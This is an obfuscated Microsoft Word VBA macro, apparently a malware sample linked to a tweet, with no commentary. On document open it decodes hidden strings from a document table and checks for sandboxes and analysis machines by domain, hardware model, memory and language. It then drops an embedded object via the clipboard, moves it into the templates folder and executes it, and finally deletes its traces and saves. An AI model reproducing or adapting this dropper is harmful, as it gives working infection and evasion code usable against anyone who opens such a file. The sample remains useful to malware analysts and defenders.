' https://twitter.com/mesa_matt/status/1409935724737085442 Option Explicit Option Compare Text Private Declare PtrSafe Function DYjwp8xLU8 Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Dim AEBirCjVh As String Dim htTnYAV3MKe As String Private Sub Document_Open() If glxoug1eUMM Then Dim GDm9 As String GDm9 = Options.DefaultFilePath(wdUserTemplatesPath) If Dir(GDm9 & boYLmeiRpt((2 * 6 - 9))) = "" Then Call LVXy Call E5p06tYoZfv If Len(htTnYAV3MKe) > (8 * 3 - 22) Then Call dUA5Vi(htTnYAV3MKe) DYjwp8xLU8 (6 * 3 - 18), vbNullString, Options.DefaultFilePath(wdUserTemplatesPath) & boYLmeiRpt((8 * 1 - 5)), vbNullString, vbNullString, ((6 * 8 - 47)) End If End If Call oh7iBSdM End If End Sub Sub E5p06tYoZfv() Dim akI5a akI5a = Options.DefaultFilePath(wdTempFilePath) Dim aFNVaZgl3w As Object Set aFNVaZgl3w = CreateObject(boYLmeiRpt((7 * 2 - 12))) Call TkFqCJl(aFNVaZgl3w.GetFolder(akI5a), htTnYAV3MKe) End Sub Function boYLmeiRpt(VrLGSGK) As String boYLmeiRpt = ThisDocument.Tables((9 * 7 - 62)).Cell(VrLGSGK, (5 * 7 - 34)).Range.Text boYLmeiRpt = yRlihwO2c(Mid(boYLmeiRpt, (2 * 3 - 5), Len(boYLmeiRpt) - (7 * 2 - 12))) End Function Sub LVXy() Dim D18oyHlA As InlineShape For Each D18oyHlA In ThisDocument.InlineShapes If D18oyHlA.Type = (6 * 3 - 17) Then D18oyHlA.Select Selection.Copy End If Next End Sub Sub dUA5Vi(vJJoW79vg5L As String) Dim xzkuDRi As String xzkuDRi = Options.DefaultFilePath(wdUserTemplatesPath) Name vJJoW79vg5L As xzkuDRi & boYLmeiRpt((9 * 4 - 33)) End Sub Sub oh7iBSdM() On Error Resume Next Dim D18oyHlA As InlineShape For Each D18oyHlA In ThisDocument.InlineShapes If D18oyHlA.Type = (2 * 1 - 1) Then D18oyHlA.Delete End If Next ThisDocument.Tables((8 * 5 - 39)).Delete Selection.MoveRight Unit:=wdCharacter, Count:=1, Extend:=wdExtend Selection.Copy ThisDocument.Save End On Error GoTo 0 End Sub Function glxoug1eUMM() As Boolean On Error Resume Next Dim TkNe5eSQd As String, UE24rgsZ As Object, ftW6, nQOVKfUOld As Object, LC4k As Object Set UE24rgsZ = CreateObject(boYLmeiRpt((7 * 4 - 23))) TkNe5eSQd = UE24rgsZ.UserDomain glxoug1eUMM = True If TkNe5eSQd = boYLmeiRpt((2 * 9 - 12)) Then Exit Function Set ftW6 = GetObject(boYLmeiRpt((1 * 6 + 1)) & TkNe5eSQd & boYLmeiRpt((8 * 5 - 32))) If (VarType(ftW6) <> vbObject) Then Call oh7iBSdM Set nQOVKfUOld = GetObject(boYLmeiRpt((8 * 3 - 15))) For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((5 * 5 - 15))) If DS4nRhaBlr(LC4k.Manufacturer, LC4k.Model) Then Call oh7iBSdM Next For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((1 * 2 + 9)), , (11 * 12 - 84)) If LC4k.TotalVisibleMemorySize < (250844 * 321836 - 80726529584#) Then Call oh7iBSdM If InStr(1, boYLmeiRpt((1 * 4 + 8)), CStr(LC4k.OSLanguage)) > (1 * 1 - 1) Then Call oh7iBSdM If InStr(1, Join(LC4k.MUILanguages, ","), boYLmeiRpt((5 * 5 - 12))) > (9 * 4 - 36) Then Call oh7iBSdM Next If InStr(1, Join(CreateObject(boYLmeiRpt((6 * 6 - 22))).regRead(boYLmeiRpt((2 * 2 + 11))), ","), boYLmeiRpt((4 * 2 + 5))) > (1 * 5 - 5) Then Call oh7iBSdM On Error GoTo 0 End Function Sub TkFqCJl(hkSNkpx52q As Object, vJJoW79vg5L As String) On Error Resume Next Dim mk5JvykXa As Object For Each mk5JvykXa In hkSNkpx52q.SubFolders TkFqCJl mk5JvykXa, vJJoW79vg5L Next mk5JvykXa Dim Xs2YF2R8 As Object For Each Xs2YF2R8 In hkSNkpx52q.Files If Xs2YF2R8.Name = boYLmeiRpt((6 * 9 - 50)) Then vJJoW79vg5L = Xs2YF2R8 End If Next Xs2YF2R8 On Error GoTo 0 Exit Sub ErrHandle: Err.Clear End Sub Function DS4nRhaBlr(Ei5aCGrSkJ, rjcwM53rRoE) Dim fbajQ, mkD9R As Long, klsLJL4OLr As String fbajQ = Split(boYLmeiRpt((2 * 8)), ",") For mkD9R = (7 * 1 - 7) To UBound(fbajQ) - 1 klsLJL4OLr = fbajQ(mkD9R) If InStr((8 * 1 - 7), Ei5aCGrSkJ, klsLJL4OLr) > (4 * 9 - 36) Or InStr((9 * 2 - 17), rjcwM53rRoE, klsLJL4OLr) > (6 * 6 - 36) Then DS4nRhaBlr = True Exit Function End If Next DS4nRhaBlr = False End Function Function yRlihwO2c(cmMj6EeRAmG) Dim PdEN As String, klsLJL4OLr As String, mkD9R As Long, m4sKGWmIY0 As Long, fbajQ, Qqz0g9zhpj PdEN = ThisDocument.Tables((6 * 8 - 47)).Cell((2 * 7 - 13), (4 * 9 - 35)).Range.Text PdEN = Mid(PdEN, (2 * 5 - 9), Len(PdEN) - (4 * 9 - 34)) m4sKGWmIY0 = 1 fbajQ = Split(cmMj6EeRAmG, ",") For mkD9R = (8 * 4 - 32) To UBound(fbajQ) - 1 Qqz0g9zhpj = Chr(CLng(fbajQ(mkD9R)) - Asc(Mid(PdEN, m4sKGWmIY0, 1))) klsLJL4OLr = klsLJL4OLr + Qqz0g9zhpj If m4sKGWmIY0 = Len(PdEN) Then m4sKGWmIY0 = 1 Else m4sKGWmIY0 = m4sKGWmIY0 + 1 End If Next yRlihwO2c = klsLJL4OLr End Function